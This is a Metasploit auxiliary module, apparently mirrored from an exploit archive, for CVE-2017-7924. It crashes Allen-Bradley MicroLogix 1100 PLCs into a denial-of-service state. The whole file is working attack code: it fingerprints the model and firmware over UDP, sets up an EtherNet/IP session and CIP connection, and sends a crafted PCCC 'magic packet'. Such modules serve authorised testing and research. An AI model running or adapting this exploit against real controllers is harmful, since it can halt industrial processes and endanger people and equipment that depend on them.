Share
## https://sploitus.com/exploit?id=PACKETSTORM:180483
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Udp  
include Msf::Exploit::Remote::Tcp  
include Msf::Auxiliary::Dos  
  
def initialize(info = {})  
super(  
'Name' => "DoS Exploitation of Allen-Bradley's Legacy Protocol (PCCC)",  
'Description' => %q{  
A remote, unauthenticated attacker could send a single, specially crafted  
Programmable Controller Communication Commands (PCCC) packet to the controller  
that could potentially cause the controller to enter a DoS condition.  
MicroLogix 1100 controllers are affected: 1763-L16BWA, 1763-L16AWA, 1763-L16BBB, and  
1763-L16DWD.  
CVE-2017-7924 has been assigned to this vulnerability.  
A CVSS v3 base score of 7.5 has been assigned.  
},  
'Author' => [  
'José Diogo Monteiro <jdlopes[at]student.dei.uc.pt>',  
'Luis Rosa <lmrosa[at]dei.uc.pt>',  
'Miguel Borges de Freitas <miguelbf[at]dei.uc.pt>'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-7924' ],  
[ 'URL', 'https://www.cisa.gov/uscert/ics/advisories/ICSA-17-138-03' ],  
[ 'URL', 'https://dl.acm.org/doi/10.1145/3174776.3174780']  
])  
register_options([Opt::RPORT(44818),])  
end  
  
VULN_LIST = ['1763-L16BWA','1763-L16AWA','1763-L16BBB','1763-L16DWD']  
VULN_FW_VERSION_MIN = 14.00  
VULN_FW_VERSION_MAX = 16.00  
def le_pp(s)  
"0x#{Rex::Text.to_hex(s, prefix="").scan(/../).reverse.join("")}"  
end  
  
def enip_register_session_pkt  
# ENIP encapsulation Header  
"\x65\x00" + # Command register session (0x0065)  
"\x04\x00" + # Length (4)  
"\x00\x00\x00\x00" + # Session handle (0x00000000)  
"\x00\x00\x00\x00" + # Status success (0x00000000)  
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)  
"\x00\x00\x00\x00" + # Options (0x00000000)  
# Protocol Specific Data  
"\x01\x00" + # Protocol version (1)  
"\x00\x00" # Option flags (0x00000000)  
end  
  
def enip_ccm_forward_open_pkt(enip_session_handle)  
# ENIP encapsulation header  
"\x6f\x00" + # Send RR data (0x006f)  
"\x3e\x00" + # Length (63)  
enip_session_handle + # Session handle (retrieved from register session)  
"\x00\x00\x00\x00" + # Status success (0x00000000)  
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context (0x0000000000000000)  
"\x00\x00\x00\x00" + # Options (0x00000000)  
# Command specific data  
"\x00\x00\x00\x00" + # Interface handle (CIP = 0x00000000)  
"\x00\x00" + # Timeout (0)  
"\x02\x00" + # Item count (2)  
"\x00\x00" + # Item 1 type id (Null address item)  
"\x00\x00" + # Item 1 length (0)  
"\xb2\x00" + # Item 2 type id (Unconnected data item)  
"\x2e\x00" + # Item 2 length (46)  
# CIP Connection manager specific data  
"\x54\x02\x20\x06\x24\x01\x0a\xf0" +  
"\x00\x00\x00\x00\x52\xac\xda\x89" +  
"\x55\x0c\x35\x01\xe1\x08\xb0\x60" +  
"\x07\x00\x00\x00\x00\x40\x00\x00" +  
"\x12\x43\x00\x40\x00\x00\x12\x43" +  
"\xa3\x02\x20\x02\x24\x01"  
end  
  
# Any combination of File Number 0x02–0x08 and File Type 0x48 or 0x47 will trigger a Major Error (0x08)  
def pccc_dos_pkt(enip_session_id, cip_connection_id)  
# ENIP encapsulation header  
"\x70\x00" + # Send unit data (0x0070)  
"\x2d\x00" + # Length  
enip_session_id + # ENIP session handle (obtained from enip register session)  
"\x00\x00\x00\x00" + # Status Success  
"\x00\x00\x00\x00\x00\x00\x00\x00" + # Sender context  
"\x00\x00\x00\x00" + # Options  
# Command Specific data  
"\x00\x00\x00\x00" + # Interface handle (CIP)  
"\x00\x00" + # Timeout (0)  
"\x02\x00" + # Item count  
"\xa1\x00" + # Item 1 - Type ID (Connected address item)  
"\x04\x00" + # Item 1 - Length (4)  
cip_connection_id + # CIP connection ID (obtained from CIP CM packet)  
"\xb1\x00" + # Item 2 - Type ID (Connected data item)  
"\x19\x00" + # Item 2 - Length (25)  
"\x01\x00" + # Item 2 - CIP Sequence Count (1) - first packet  
# PCCC Command data  
"\x4b" + # Execute PCCC (0x4b)  
"\x02\x20\x67\x24\x01" + # no idea what this is  
"\x07" + # Requestor ID length  
"\x35\x01" + # CIP vendor ID  
"\xe1\x08\xb0\x60" + # CIP serial number  
"\x0f" + # Command code  
"\x00" + # Status (success 0x00)  
"\x2a\x58" + # Transaction code  
"\xa2" + # Function code (Protected typed logical read with three address fields)  
"\x00" + # Byte size  
"\x05" + # File number  
"\x47" + # File type  
"\x00" + # Element number  
"\x00" # Sub-element number  
end  
  
def enip_list_identify_pkt  
"\x63\x00" + # List Identity  
"\x00\x00" + # Length  
"\x00\x00\x00\x00" + # Session Handle  
"\x00\x00\x00\x00" + # Status: Success  
"\x00\x00" + # Max Response Delay  
"\x00\x00\xc1\xde\xbe\xd1" + # Sender Context  
"\x00\x00\x00\x00" # Options  
end  
  
  
def check  
  
connect_udp  
  
udp_sock.put(enip_list_identify_pkt)  
res = udp_sock.recvfrom(90)  
  
disconnect_udp  
  
unless res && res[0].length > 63 && res[0][0,2] == "\x63\x00"  
print_error "EtherNet/IP Packet Not Valid"  
return Exploit::CheckCode::Unsupported  
end  
  
revision = res[0][54,2]  
product_name_len = res[0][62].unpack("c*")[0]  
  
  
product_name = res[0][63,product_name_len]  
print_status "Product Name: #{product_name}"  
  
array = product_name.split(' ')  
plc_model = array[0]  
  
return Exploit::CheckCode::Safe unless VULN_LIST.any? { |e| plc_model.include? e }  
  
firmware = array[1]  
begin  
firmware_nbr = firmware.scan(/(\d+[.,]\d+)/).flatten.first.to_f  
if firmware_nbr >= VULN_FW_VERSION_MIN && firmware_nbr < VULN_FW_VERSION_MAX  
return Exploit::CheckCode::Vulnerable  
elsif firmware_nbr < VULN_FW_VERSION_MIN  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
rescue  
return Exploit::CheckCode::Unknown  
end  
  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e  
elog(e)  
ensure  
disconnect  
end  
  
def run  
connect  
# Register Ethernet/IP session  
sock.put(enip_register_session_pkt)  
enip_register_session_ans = sock.get_once  
unless enip_register_session_ans && enip_register_session_ans.length == 28 && enip_register_session_ans[0,2] == "\x65\x00"  
print_error "Ethernet/IP - Failed to create session."  
disconnect  
return  
end  
enip_session_id = enip_register_session_ans[4, 4]  
print_status "Ethernet/IP - Session created (id #{le_pp(enip_session_id)})"  
  
# Ethernet/IP CCM Forward Open  
sock.put(enip_ccm_forward_open_pkt(enip_session_id))  
enip_ccm_forward_open_ans = sock.get_once  
unless enip_ccm_forward_open_ans && enip_ccm_forward_open_ans.length > 48 && enip_ccm_forward_open_ans[0,2] == "\x6f\x00"  
print_error "CIP Connection Manager - Failed Forward Open request"  
disconnect  
return  
end  
cip_connection_id = enip_ccm_forward_open_ans[44, 4]  
print_status "CIP Connection Manager - Forward Open Success (Connection id #{le_pp(cip_connection_id)})"  
  
# PCCC DoS packet  
print_status "Sending PCCC DoS magic packet..."  
sock.put(pccc_dos_pkt(enip_session_id, cip_connection_id))  
  
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e  
elog(e)  
ensure  
disconnect  
end  
end